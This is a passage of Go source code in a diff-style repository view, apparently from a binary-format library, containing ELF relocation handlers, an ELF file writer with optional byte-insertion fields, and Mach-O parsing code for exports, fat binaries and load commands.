binary.Read(b, f.ByteOrder, &rela)
symNo := rela.Info >> 32
t := R_AARCH64(rela.Info & 0xffff)
if symNo == 0 || symNo > uint64(len(symbols)) {
continue
}
sym := &symbols[symNo-1]
if SymType(sym.Info&0xf) != STT_SECTION {
// We don't handle non-section relocations for now.
continue
}
// There are relocations, so this must be a normal
// object file, and we only look at section symbols,
// so we assume that the symbol value is 0.
switch t {
case R_AARCH64_ABS64:
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
case R_AARCH64_ABS32:
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
}
}
return nil
}
func (f *File) applyRelocationsPPC(dst []byte, rels []byte) error {
// 12 is the size of Rela32.
if len(rels)%12 != 0 {
return errors.New("length of relocation section is not a multiple of 12")
}
symbols, _, err := f.getSymbols(SHT_SYMTAB)
if err != nil {
return err
}
b := bytes.NewReader(rels)
var rela Rela32
for b.Len() > 0 {
binary.Read(b, f.ByteOrder, &rela)
symNo := rela.Info >> 8
t := R_PPC(rela.Info & 0xff)
if symNo == 0 || symNo > uint32(len(symbols)) {
continue
}
sym := &symbols[symNo-1]
if SymType(sym.Info&0xf) != STT_SECTION {
// We don't handle non-section relocations for now.
continue
}
switch t {
case R_PPC_ADDR32:
if rela.Off+4 >= uint32(len(dst)) || rela.Addend < 0 {
continue
}
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
}
}
return nil
}
func (f *File) applyRelocationsPPC64(dst []byte, rels []byte) error {
// 24 is the size of Rela64.
if len(rels)%24 != 0 {
return errors.New("length of relocation section is not a multiple of 24")
}
symbols, _, err := f.getSymbols(SHT_SYMTAB)
if err != nil {
return err
}
b := bytes.NewReader(rels)
var rela Rela64
for b.Len() > 0 {
binary.Read(b, f.ByteOrder, &rela)
symNo := rela.Info >> 32
t := R_PPC64(rela.Info & 0xffff)
if symNo == 0 || symNo > uint64(len(symbols)) {
continue
}
sym := &symbols[symNo-1]
if SymType(sym.Info&0xf) != STT_SECTION {
// We don't handle non-section relocations for now.
continue
}
switch t {
case R_PPC64_ADDR64:
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
case R_PPC64_ADDR32:
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
}
}
return nil
}
func (f *File) applyRelocationsMIPS(dst []byte, rels []byte) error {
// 8 is the size of Rel32.
if len(rels)%8 != 0 {
return errors.New("length of relocation section is not a multiple of 8")
}
symbols, _, err := f.getSymbols(SHT_SYMTAB)
if err != nil {
return err
}
b := bytes.NewReader(rels)
var rel Rel32
for b.Len() > 0 {
binary.Read(b, f.ByteOrder, &rel)
symNo := rel.Info >> 8
t := R_MIPS(rel.Info & 0xff)
if symNo == 0 || symNo > uint32(len(symbols)) {
continue
}
sym := &symbols[symNo-1]
switch t {
case R_MIPS_32:
if rel.Off+4 >= uint32(len(dst)) {
continue
}
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
val += uint32(sym.Value)
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
}
}
return nil
}
func (f *File) applyRelocationsMIPS64(dst []byte, rels []byte) error {
// 24 is the size of Rela64.
if len(rels)%24 != 0 {
return errors.New("length of relocation section is not a multiple of 24")
}
symbols, _, err := f.getSymbols(SHT_SYMTAB)
if err != nil {
return err
}
b := bytes.NewReader(rels)
var rela Rela64
for b.Len() > 0 {
binary.Read(b, f.ByteOrder, &rela)
var symNo uint64
var t R_MIPS
if f.ByteOrder == binary.BigEndian {
symNo = rela.Info >> 32
t = R_MIPS(rela.Info & 0xff)
} else {
symNo = rela.Info & 0xffffffff
t = R_MIPS(rela.Info >> 56)
}
if symNo == 0 || symNo > uint64(len(symbols)) {
continue
}
sym := &symbols[symNo-1]
if SymType(sym.Info&0xf) != STT_SECTION {
// We don't handle non-section relocations for now.
continue
}
switch t {
case R_MIPS_64:
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
case R_MIPS_32:
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
}
}
return nil
}
func (f *File) applyRelocationsRISCV64(dst []byte, rels []byte) error {
// 24 is the size of Rela64.
if len(rels)%24 != 0 {
return errors.New("length of relocation section is not a multiple of 24")
}
symbols, _, err := f.getSymbols(SHT_SYMTAB)
if err != nil {
return err
}
b := bytes.NewReader(rels)
var rela Rela64
for b.Len() > 0 {
binary.Read(b, f.ByteOrder, &rela)
symNo := rela.Info >> 32
t := R_RISCV(rela.Info & 0xffff)
if symNo == 0 || symNo > uint64(len(symbols)) {
continue
}
sym := &symbols[symNo-1]
switch SymType(sym.Info & 0xf) {
case STT_SECTION, STT_NOTYPE:
break
default:
continue
}
switch t {
case R_RISCV_64:
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
val := sym.Value + uint64(rela.Addend)
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], val)
case R_RISCV_32:
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
val := uint32(sym.Value) + uint32(rela.Addend)
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], val)
}
}
return nil
}
func (f *File) applyRelocationss390x(dst []byte, rels []byte) error {
// 24 is the size of Rela64.
if len(rels)%24 != 0 {
return errors.New("length of relocation section is not a multiple of 24")
}
symbols, _, err := f.getSymbols(SHT_SYMTAB)
if err != nil {
return err
}
b := bytes.NewReader(rels)
var rela Rela64
for b.Len() > 0 {
binary.Read(b, f.ByteOrder, &rela)
symNo := rela.Info >> 32
t := R_390(rela.Info & 0xffff)
if symNo == 0 || symNo > uint64(len(symbols)) {
continue
}
sym := &symbols[symNo-1]
switch SymType(sym.Info & 0xf) {
case STT_SECTION, STT_NOTYPE:
break
default:
continue
}
switch t {
case R_390_64:
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
val := sym.Value + uint64(rela.Addend)
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], val)
case R_390_32:
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
val := uint32(sym.Value) + uint32(rela.Addend)
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], val)
}
}
return nil
}
func (f *File) applyRelocationsSPARC64(dst []byte, rels []byte) error {
// 24 is the size of Rela64.
if len(rels)%24 != 0 {
return errors.New("length of relocation section is not a multiple of 24")
}
symbols, _, err := f.getSymbols(SHT_SYMTAB)
if err != nil {
return err
}
b := bytes.NewReader(rels)
var rela Rela64
for b.Len() > 0 {
binary.Read(b, f.ByteOrder, &rela)
symNo := rela.Info >> 32
t := R_SPARC(rela.Info & 0xff)
if symNo == 0 || symNo > uint64(len(symbols)) {
continue
}
sym := &symbols[symNo-1]
if SymType(sym.Info&0xf) != STT_SECTION {
// We don't handle non-section relocations for now.
continue
}
switch t {
case R_SPARC_64, R_SPARC_UA64:
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
case R_SPARC_32, R_SPARC_UA32:
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
continue
}
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
}
}
return nil
}
+281
View File
@@ -0,0 +1,281 @@
package elf
import (
"bufio"
"bytes"
"encoding/binary"
"io/ioutil"
"log"
"os"
)
// Bytes - returns the bytes of an Elf file
func (elfFile *File) Bytes() ([]byte, error) {
bytesWritten := uint64(0)
elfBuf := bytes.NewBuffer(nil)
w := bufio.NewWriter(elfBuf)
// Write Elf Magic
w.WriteByte('\x7f')
w.WriteByte('E')
w.WriteByte('L')
w.WriteByte('F')
bytesWritten += 4
// ident[EI_CLASS]
w.WriteByte(byte(elfFile.Class))
// ident[EI_DATA]
w.WriteByte(byte(elfFile.Data))
// ident[EI_VERSION]
w.WriteByte(byte(elfFile.Version))
// ident[EI_OSABI]
w.WriteByte(byte(elfFile.OSABI))
// ident[EI_ABIVERSION]
w.WriteByte(byte(elfFile.ABIVersion))
// ident[EI_PAD] ( 7 bytes )
w.Write([]byte{0, 0, 0, 0, 0, 0, 0})
bytesWritten += 12
// Type
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.Type))
// Machine
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.Machine))
// Version
binary.Write(w, elfFile.ByteOrder, uint32(elfFile.Version))
bytesWritten += 8
phsize := 0
switch elfFile.Class {
case ELFCLASS32:
phsize = 0x20
// Entry 32
binary.Write(w, elfFile.ByteOrder, uint32(elfFile.Entry))
// PH Offset 32
binary.Write(w, elfFile.ByteOrder, uint32(0x34))
// SH Offset 32 // 0x20 0x28 4 8 e_shoff Points to the start of the section header table.
binary.Write(w, elfFile.ByteOrder, int32(elfFile.FileHeader.SHTOffset))
// Flags
binary.Write(w, elfFile.ByteOrder, uint32(0)) // todo
// EH Size
binary.Write(w, elfFile.ByteOrder, uint16(52))
// PH Size // 0x2A 0x36 2 e_phentsize Contains the size of a program header table entry.
binary.Write(w, elfFile.ByteOrder, uint16(phsize))
// PH Num // 0x2C 0x38 2 e_phnum Contains the number of entries in the program header table.
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Progs)))
// SH Size // 0x2E 0x3A 2 e_shentsize Contains the size of a section header table entry.
binary.Write(w, elfFile.ByteOrder, uint16(0x28))
bytesWritten += 24
case ELFCLASS64:
phsize = 0x38
// Entry 64
binary.Write(w, elfFile.ByteOrder, uint64(elfFile.Entry))
// PH Offset 64
binary.Write(w, elfFile.ByteOrder, uint64(0x40))
// SH Offset 64 // 0x20 0x28 4 8 e_shoff Points to the start of the section header table.
binary.Write(w, elfFile.ByteOrder, int64(elfFile.FileHeader.SHTOffset))
// Flags
binary.Write(w, elfFile.ByteOrder, uint32(0)) // I think right?
// EH Size
binary.Write(w, elfFile.ByteOrder, uint16(64))
// PH Size // 0x2A 0x36 2 e_phentsize Contains the size of a program header table entry.
binary.Write(w, elfFile.ByteOrder, uint16(phsize))
// PH Num // 0x2C 0x38 2 e_phnum Contains the number of entries in the program header table.
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Progs)))
// SH Size // 0x2E 0x3A 2 e_shentsize Contains the size of a section header table entry.
binary.Write(w, elfFile.ByteOrder, uint16(0x40))
bytesWritten += 36
}
// SH Num // 0x30 0x3C 2 e_shnum Contains the number of entries in the section header table.
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Sections)))
// SH Str Ndx // 0x32 0x3E 2 e_shstrndx Contains index of the section header table entry that contains the section names.
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.ShStrIndex))
bytesWritten += 4
// Program Header
for _, p := range elfFile.Progs {
// Type (segment)
binary.Write(w, elfFile.ByteOrder, uint32(p.Type))
bytesWritten += 4
switch elfFile.Class {
case ELFCLASS32:
// Offset of Segment in File
binary.Write(w, elfFile.ByteOrder, uint32(p.Off))
// Vaddr
binary.Write(w, elfFile.ByteOrder, uint32(p.Vaddr))
// Paddr
binary.Write(w, elfFile.ByteOrder, uint32(p.Paddr))
// File Size
binary.Write(w, elfFile.ByteOrder, uint32(p.Filesz))
// Memory Size
binary.Write(w, elfFile.ByteOrder, uint32(p.Memsz))
// Flags (segment)
binary.Write(w, elfFile.ByteOrder, uint32(p.Flags))
// Alignment
binary.Write(w, elfFile.ByteOrder, uint32(p.Align))
bytesWritten += 28
case ELFCLASS64:
// Flags (segment)
binary.Write(w, elfFile.ByteOrder, uint32(p.Flags))
// Offset of Segment in File
binary.Write(w, elfFile.ByteOrder, uint64(p.Off))
// Vaddr
binary.Write(w, elfFile.ByteOrder, uint64(p.Vaddr))
// Paddr
binary.Write(w, elfFile.ByteOrder, uint64(p.Paddr))
// File Size
binary.Write(w, elfFile.ByteOrder, uint64(p.Filesz))
// Memory Size
binary.Write(w, elfFile.ByteOrder, uint64(p.Memsz))
// Alignment
binary.Write(w, elfFile.ByteOrder, uint64(p.Align))
bytesWritten += 52
}
}
sortedSections := elfFile.Sections[:]
//sort.Slice(sortedSections, func(a, b int) bool { return elfFile.Sections[a].Link < elfFile.Sections[b].Link })
for _, s := range sortedSections {
//log.Printf("Writing section: %s type: %+v\n", s.Name, s.Type)
//log.Printf("written: %x offset: %x\n", bytesWritten, s.Offset)
if s.Type == SHT_NULL || s.Type == SHT_NOBITS || s.FileSize == 0 {
//log.Println("continuing...")
continue
}
if bytesWritten > s.Offset {
log.Printf("Overlapping Sections in Generated Elf: %+v\n", s.Name)
continue
}
if s.Offset != 0 && bytesWritten < s.Offset {
pad := make([]byte, s.Offset-bytesWritten)
w.Write(pad)
//log.Printf("Padding before section %s at %x: length:%x to:%x\n", s.Name, bytesWritten, len(pad), s.Offset)
bytesWritten += uint64(len(pad))
}
slen := 0
switch s.Type {
case SHT_DYNAMIC:
for _, taggedValue := range elfFile.DynTags {
//log.Printf("writing %d (%x) -> %d (%x)\n", taggedValue.Tag, taggedValue.Tag, taggedValue.Value, taggedValue.Value)
switch elfFile.Class {
case ELFCLASS32:
binary.Write(w, elfFile.ByteOrder, uint32(taggedValue.Tag))
binary.Write(w, elfFile.ByteOrder, uint32(taggedValue.Value))
bytesWritten += 8
case ELFCLASS64:
binary.Write(w, elfFile.ByteOrder, uint64(taggedValue.Tag))
binary.Write(w, elfFile.ByteOrder, uint64(taggedValue.Value))
bytesWritten += 16
}
}
default:
section, err := ioutil.ReadAll(s.Open())
if err != nil {
return nil, err
}
binary.Write(w, elfFile.ByteOrder, section)
slen = len(section)
//log.Printf("Wrote %s section at %x, length %x\n", s.Name, bytesWritten, slen)
bytesWritten += uint64(slen)
}
// todo: elfFile.Insertion should be renamed InsertionLoadEnd or similar
if s.Type == SHT_PROGBITS && len(elfFile.Insertion) > 0 && s.Size-uint64(slen) >= uint64(len(elfFile.Insertion)) {
binary.Write(w, elfFile.ByteOrder, elfFile.Insertion)
bytesWritten += uint64(len(elfFile.Insertion))
}
w.Flush()
}
// Pad to Section Header Table
if bytesWritten < uint64(elfFile.FileHeader.SHTOffset) {
pad := make([]byte, uint64(elfFile.FileHeader.SHTOffset)-bytesWritten)
w.Write(pad)
//log.Printf("Padding before SHT at %x: length:%x to:%x\n", bytesWritten, len(pad), elfFile.FileHeader.SHTOffset)
bytesWritten += uint64(len(pad))
}
// Write Section Header Table
for _, s := range elfFile.Sections[:] {
switch elfFile.Class {
case ELFCLASS32:
binary.Write(w, elfFile.ByteOrder, &Section32{
Name: s.Shname,
Type: uint32(s.Type),
Flags: uint32(s.Flags),
Addr: uint32(s.Addr),
Off: uint32(s.Offset),
Size: uint32(s.Size),
Link: s.Link,
Info: s.Info,
Addralign: uint32(s.Addralign),
Entsize: uint32(s.Entsize)})
case ELFCLASS64:
binary.Write(w, elfFile.ByteOrder, &Section64{
Name: s.Shname,
Type: uint32(s.Type),
Flags: uint64(s.Flags),
Addr: s.Addr,
Off: s.Offset,
Size: s.Size,
Link: s.Link,
Info: s.Info,
Addralign: s.Addralign,
Entsize: s.Entsize})
}
}
// Do I have a PT_NOTE segment to add at the end?
if len(elfFile.InsertionEOF) > 0 {
binary.Write(w, elfFile.ByteOrder, elfFile.InsertionEOF)
bytesWritten += uint64(len(elfFile.InsertionEOF))
}
w.Flush()
return elfBuf.Bytes(), nil
}
// WriteFile - Creates a new file and writes it using the Bytes func above
func (elfFile *File) WriteFile(destFile string) error {
f, err := os.Create(destFile)
if err != nil {
return err
}
defer f.Close()
elfData, err := elfFile.Bytes()
if err != nil {
return err
}
_, err = f.Write(elfData)
if err != nil {
return err
}
return nil
}
+3
View File
@@ -0,0 +1,3 @@
## More Info
More info on the Mach-O file structure here: [Mach-O Deep Dive](https://www.symbolcrash.com/2019/02/25/so-you-want-to-be-a-mach-o-man/)
+27
View File
@@ -0,0 +1,27 @@
package macho
const N_SECT = 0x0E
const N_PEXT = 0x10
const N_EXT = 0x01
// Export - describes a single export entry (similar to PE version for future refactoring)
type Export struct {
//Ordinal uint32 // no ordinals for Mach-O
Name string
VirtualAddress uint64
}
// Exports - gets exports, including private exports
func (f *File) Exports() []Export {
var exports []Export
for _, symbol := range f.Symtab.Syms {
if (symbol.Type&N_PEXT == N_PEXT ||
symbol.Type&N_EXT == N_EXT) && symbol.Value != 0 {
var export Export
export.Name = symbol.Name
export.VirtualAddress = symbol.Value
exports = append(exports, export)
}
}
return exports
}
+146
View File
@@ -0,0 +1,146 @@
// Copyright 2014 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package macho
import (
"encoding/binary"
"fmt"
"io"
"os"
)
// A FatFile is a Mach-O universal binary that contains at least one architecture.
type FatFile struct {
Magic uint32
Arches []FatArch
closer io.Closer
}
// A FatArchHeader represents a fat header for a specific image architecture.
type FatArchHeader struct {
Cpu Cpu
SubCpu uint32
Offset uint32
Size uint32
Align uint32
}
const fatArchHeaderSize = 5 * 4
// A FatArch is a Mach-O File inside a FatFile.
type FatArch struct {
FatArchHeader
*File
}
// ErrNotFat is returned from NewFatFile or OpenFat when the file is not a
// universal binary but may be a thin binary, based on its magic number.
var ErrNotFat = &FormatError{0, "not a fat Mach-O file", nil}
// NewFatFile creates a new FatFile for accessing all the Mach-O images in a
// universal binary. The Mach-O binary is expected to start at position 0 in
// the ReaderAt.
func NewFatFile(r io.ReaderAt) (*FatFile, error) {
var ff FatFile
sr := io.NewSectionReader(r, 0, 1<<63-1)
// Read the fat_header struct, which is always in big endian.
// Start with the magic number.
err := binary.Read(sr, binary.BigEndian, &ff.Magic)
if err != nil {
return nil, &FormatError{0, "error reading magic number", nil}
} else if ff.Magic != MagicFat {
// See if this is a Mach-O file via its magic number. The magic
// must be converted to little endian first though.
var buf [4]byte
binary.BigEndian.PutUint32(buf[:], ff.Magic)
leMagic := binary.LittleEndian.Uint32(buf[:])
if leMagic == Magic32 || leMagic == Magic64 {
return nil, ErrNotFat
} else {
return nil, &FormatError{0, "invalid magic number", nil}
}
}
offset := int64(4)
// Read the number of FatArchHeaders that come after the fat_header.
var narch uint32
err = binary.Read(sr, binary.BigEndian, &narch)
if err != nil {
return nil, &FormatError{offset, "invalid fat_header", nil}
}
offset += 4
if narch < 1 {
return nil, &FormatError{offset, "file contains no images", nil}
}
// Combine the Cpu and SubCpu (both uint32) into a uint64 to make sure
// there are not duplicate architectures.
seenArches := make(map[uint64]bool, narch)
// Make sure that all images are for the same MH_ type.
var machoType Type
// Following the fat_header comes narch fat_arch structs that index
// Mach-O images further in the file.
ff.Arches = make([]FatArch, narch)
for i := uint32(0); i < narch; i++ {
fa := &ff.Arches[i]
err = binary.Read(sr, binary.BigEndian, &fa.FatArchHeader)
if err != nil {
return nil, &FormatError{offset, "invalid fat_arch header", nil}
}
offset += fatArchHeaderSize
fr := io.NewSectionReader(r, int64(fa.Offset), int64(fa.Size))
fa.File, err = NewFile(fr)
if err != nil {
return nil, err
}
// Make sure the architecture for this image is not duplicate.
seenArch := (uint64(fa.Cpu) << 32) | uint64(fa.SubCpu)
if o, k := seenArches[seenArch]; o || k {
return nil, &FormatError{offset, fmt.Sprintf("duplicate architecture cpu=%v, subcpu=%#x", fa.Cpu, fa.SubCpu), nil}
}
seenArches[seenArch] = true
// Make sure the Mach-O type matches that of the first image.
if i == 0 {
machoType = fa.Type
} else {
if fa.Type != machoType {
return nil, &FormatError{offset, fmt.Sprintf("Mach-O type for architecture #%d (type=%#x) does not match first (type=%#x)", i, fa.Type, machoType), nil}
}
}
}
return &ff, nil
}
// OpenFat opens the named file using os.Open and prepares it for use as a Mach-O
// universal binary.
func OpenFat(name string) (*FatFile, error) {
f, err := os.Open(name)
if err != nil {
return nil, err
}
ff, err := NewFatFile(f)
if err != nil {
f.Close()
return nil, err
}
ff.closer = f
return ff, nil
}
func (ff *FatFile) Close() error {
var err error
if ff.closer != nil {
err = ff.closer.Close()
ff.closer = nil
}
return err
}
+952
View File
@@ -0,0 +1,952 @@
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package macho implements access to Mach-O object files.
package macho
// High level access to low level data structures.
import (
"bytes"
"compress/zlib"
"debug/dwarf"
"encoding/binary"
"fmt"
"io"
"os"
"strings"
)
// A File represents an open Mach-O file.
type File struct {
FileHeader
ByteOrder binary.ByteOrder
Loads []Load
Sections []*Section
Symtab *Symtab
Dysymtab *Dysymtab
SigBlock *SigBlock
FuncStarts *FuncStarts
DataInCode *DataInCode
DylinkInfo *DylinkInfo
EntryPoint uint64
Insertion []byte
closer io.Closer
}
// A Load represents any Mach-O load command.
type Load interface {
Raw() []byte
}
// A LoadBytes is the uninterpreted bytes of a Mach-O load command.
type LoadBytes []byte
func (b LoadBytes) Raw() []byte { return b }
// A SegmentHeader is the header for a Mach-O 32-bit or 64-bit load segment command.
type SegmentHeader struct {
Cmd LoadCmd
Len uint32
Name string
Addr uint64
Memsz uint64
Offset uint64
Filesz uint64
Maxprot uint32
Prot uint32
Nsect uint32
Flag uint32
}
type SigBlock struct {
Len uint32
Offset uint64
RawDat []byte
}
type FuncStarts struct {
Len uint32
Offset uint64
RawDat []byte
}
type DataInCode struct {
Len uint32
Offset uint64
RawDat []byte
}
type DylinkInfo struct {
RebaseLen uint32
RebaseOffset uint64
RebaseDat []byte
BindingInfoLen uint32
BindingInfoOffset uint64
BindingInfoDat []byte
WeakBindingLen uint32
WeakBindingOffset uint64
WeakBindingDat []byte
LazyBindingLen uint32
LazyBindingOffset uint64
LazyBindingDat []byte
ExportInfoLen uint32
ExportInfoOffset uint64
ExportInfoDat []byte
}
// A Segment represents a Mach-O 32-bit or 64-bit load segment command.
type Segment struct {
LoadBytes
SegmentHeader
// Embed ReaderAt for ReadAt method.
// Do not embed SectionReader directly
// to avoid having Read and Seek.
// If a client wants Read and Seek it must use
// Open() to avoid fighting over the seek offset
// with other clients.
io.ReaderAt
sr *io.SectionReader
}
// Data reads and returns the contents of the segment.
func (s *Segment) Data() ([]byte, error) {
dat := make([]byte, s.sr.Size())
n, err := s.sr.ReadAt(dat, 0)
if n == len(dat) {
err = nil
}
return dat[0:n], err
}
// Open returns a new ReadSeeker reading the segment.
func (s *Segment) Open() io.ReadSeeker { return io.NewSectionReader(s.sr, 0, 1<<63-1) }
type SectionHeader struct {
Name string
Seg string
Addr uint64
Size uint64
Offset uint32
Align uint32
Reloff uint32
Nreloc uint32
Flags uint32
}
// A Reloc represents a Mach-O relocation.
type Reloc struct {
Addr uint32
Value uint32
// when Scattered == false && Extern == true, Value is the symbol number.
// when Scattered == false && Extern == false, Value is the section number.
// when Scattered == true, Value is the value that this reloc refers to.
Type uint8
Len uint8 // 0=byte, 1=word, 2=long, 3=quad
Pcrel bool
Extern bool // valid if Scattered == false
Scattered bool
}
type Section struct {
SectionHeader
Relocs []Reloc
// Embed ReaderAt for ReadAt method.
// Do not embed SectionReader directly
// to avoid having Read and Seek.
// If a client wants Read and Seek it must use
// Open() to avoid fighting over the seek offset
// with other clients.
io.ReaderAt
sr *io.SectionReader
}
// Data reads and returns the contents of the Mach-O section.
func (s *Section) Data() ([]byte, error) {
dat := make([]byte, s.sr.Size())
n, err := s.sr.ReadAt(dat, 0)
if n == len(dat) {
err = nil
}
return dat[0:n], err
}
// Open returns a new ReadSeeker reading the Mach-O section.
func (s *Section) Open() io.ReadSeeker { return io.NewSectionReader(s.sr, 0, 1<<63-1) }
// A Dylinker represents a Mach-O load dynamic library command.
type Dylinker struct {
LoadBytes
Name string
}
// A Dylib represents a Mach-O load dynamic library command.
type Dylib struct {
LoadBytes
Name string
Time uint32
CurrentVersion uint32
CompatVersion uint32
}
// A Symtab represents a Mach-O symbol table command.
type Symtab struct {
LoadBytes
SymtabCmd
Syms []Symbol
RawSymtab []byte
RawStringtab []byte
}
// A Dysymtab represents a Mach-O dynamic symbol table command.
type Dysymtab struct {
LoadBytes
DysymtabCmd
IndirectSyms []uint32 // indices into Symtab.Syms
RawDysymtab []byte
}
// A Rpath represents a Mach-O rpath command.
type Rpath struct {
LoadBytes
Path string
}
// A Symbol is a Mach-O 32-bit or 64-bit symbol table entry.
type Symbol struct {
Name string
Type uint8
Sect uint8
Desc uint16
Value uint64
}
/*
* Mach-O reader
*/
// FormatError is returned by some operations if the data does
// not have the correct format for an object file.
type FormatError struct {
off int64
msg string
val interface{}
}
func (e *FormatError) Error() string {
msg := e.msg
if e.val != nil {
msg += fmt.Sprintf(" '%v'", e.val)
}
msg += fmt.Sprintf(" in record at byte %#x", e.off)
return msg
}
// Open opens the named file using os.Open and prepares it for use as a Mach-O binary.
func Open(name string) (*File, error) {
f, err := os.Open(name)
if err != nil {
return nil, err
}
ff, err := NewFile(f)
if err != nil {
f.Close()
return nil, err
}
ff.closer = f
return ff, nil
}
// Close closes the File.
// If the File was created using NewFile directly instead of Open,
// Close has no effect.
func (f *File) Close() error {
var err error
if f.closer != nil {
err = f.closer.Close()
f.closer = nil
}
return err
}
// NewFile creates a new macho.File for accessing a Mach-o binary file in an underlying reader.
func NewFile(r io.ReaderAt) (*File, error) {
return newFileInternal(r, false)
}
// NewFileFromMemory creates a new macho.File for accessing a Mach-O binary in-memory image in an underlying reader.
func NewFileFromMemory(r io.ReaderAt) (*File, error) {
return newFileInternal(r, true)
}
// NewFile creates a new File for accessing a PE binary in an underlying reader.
func newFileInternal(r io.ReaderAt, memoryMode bool) (*File, error) {
f := new(File)
sr := io.NewSectionReader(r, 0, 1<<63-1)
// Read and decode Mach magic to determine byte order, size.
// Magic32 and Magic64 differ only in the bottom bit.
var ident [4]byte
if _, err := r.ReadAt(ident[0:], 0); err != nil {
return nil, err
}
be := binary.BigEndian.Uint32(ident[0:])
le := binary.LittleEndian.Uint32(ident[0:])
switch Magic32 &^ 1 {
case be &^ 1:
f.ByteOrder = binary.BigEndian
f.Magic = be
case le &^ 1:
f.ByteOrder = binary.LittleEndian
f.Magic = le
default:
return nil, &FormatError{0, "invalid magic number", nil}
}
// Read entire file header.
if err := binary.Read(sr, f.ByteOrder, &f.FileHeader); err != nil {
return nil, err
}
// Then load commands.
offset := int64(fileHeaderSize32)
if f.Magic == Magic64 {
offset = fileHeaderSize64
}
dat := make([]byte, f.Cmdsz)
if _, err := r.ReadAt(dat, offset); err != nil {
return nil, err
}
f.Loads = make([]Load, f.Ncmd)
bo := f.ByteOrder
for i := range f.Loads {
// Each load command begins with uint32 command and length.
if len(dat) < 8 {
return nil, &FormatError{offset, "command block too small", nil}
}
cmd, siz := LoadCmd(bo.Uint32(dat[0:4])), bo.Uint32(dat[4:8])
if siz < 8 || siz > uint32(len(dat)) {
return nil, &FormatError{offset, "invalid command block size", nil}
}
var cmddat []byte
cmddat, dat = dat[0:siz], dat[siz:]
offset += int64(siz)
var s *Segment
//fmt.Printf("LoadCmdVal: %+v\n", cmd)
switch cmd {
default:
f.Loads[i] = LoadBytes(cmddat)
case LoadCmdRpath:
var hdr RpathCmd
b := bytes.NewReader(cmddat)
if err := binary.Read(b, bo, &hdr); err != nil {
return nil, err
}
l := new(Rpath)
if hdr.Path >= uint32(len(cmddat)) {
return nil, &FormatError{offset, "invalid path in rpath command", hdr.Path}
}
l.Path = cstring(cmddat[hdr.Path:])
l.LoadBytes = LoadBytes(cmddat)
f.Loads[i] = l
case LoadCmdDylinker:
var hdr DylinkerCmd
b := bytes.NewReader(cmddat)
if err := binary.Read(b, bo, &hdr); err != nil {
return nil, err
}
l := new(Dylinker)
if hdr.Name >= uint32(len(cmddat)) {
return nil, &FormatError{offset, "invalid name in dynamic library command", hdr.Name}
}
l.Name = cstring(cmddat[hdr.Name:])
l.LoadBytes = LoadBytes(cmddat)
f.Loads[i] = l
case LoadCmdDylib:
var hdr DylibCmd
b := bytes.NewReader(cmddat)
if err := binary.Read(b, bo, &hdr); err != nil {
return nil, err
}
l := new(Dylib)
if hdr.Name >= uint32(len(cmddat)) {
return nil, &FormatError{offset, "invalid name in dynamic library command", hdr.Name}
}
l.Name = cstring(cmddat[hdr.Name:])
l.Time = hdr.Time
l.CurrentVersion = hdr.CurrentVersion
l.CompatVersion = hdr.CompatVersion
l.LoadBytes = LoadBytes(cmddat)
f.Loads[i] = l
case LoadCmdSymtab:
var hdr SymtabCmd
b := bytes.NewReader(cmddat)
if err := binary.Read(b, bo, &hdr); err != nil {
return nil, err
}
strtab := make([]byte, hdr.Strsize)
var linkeditAddr, textAddr, linkeditOffset int64
if !memoryMode {
if _, err := r.ReadAt(strtab, int64(hdr.Stroff)); err != nil {
return nil, err
}
} else {
// in memory, we have to translate the file offsets for strtab/symtab into offsets into LINKEDIT segment
for _, load := range f.Loads {
switch segment := load.(type) {
case *Segment:
if segment == nil {
continue
}
if segment.Name == "__LINKEDIT" {
linkeditAddr = int64(segment.Addr)
linkeditOffset = int64(segment.Offset)
} else if segment.Name == "__TEXT" {
textAddr = int64(segment.Addr)
}
}
}
strtabAddr := (linkeditAddr - textAddr) + (int64(hdr.Stroff) - linkeditOffset)
if _, err := r.ReadAt(strtab, strtabAddr); err != nil {
return nil, err
}
}
var symsz int
if f.Magic == Magic64 {
symsz = 16
} else {
symsz = 12
}
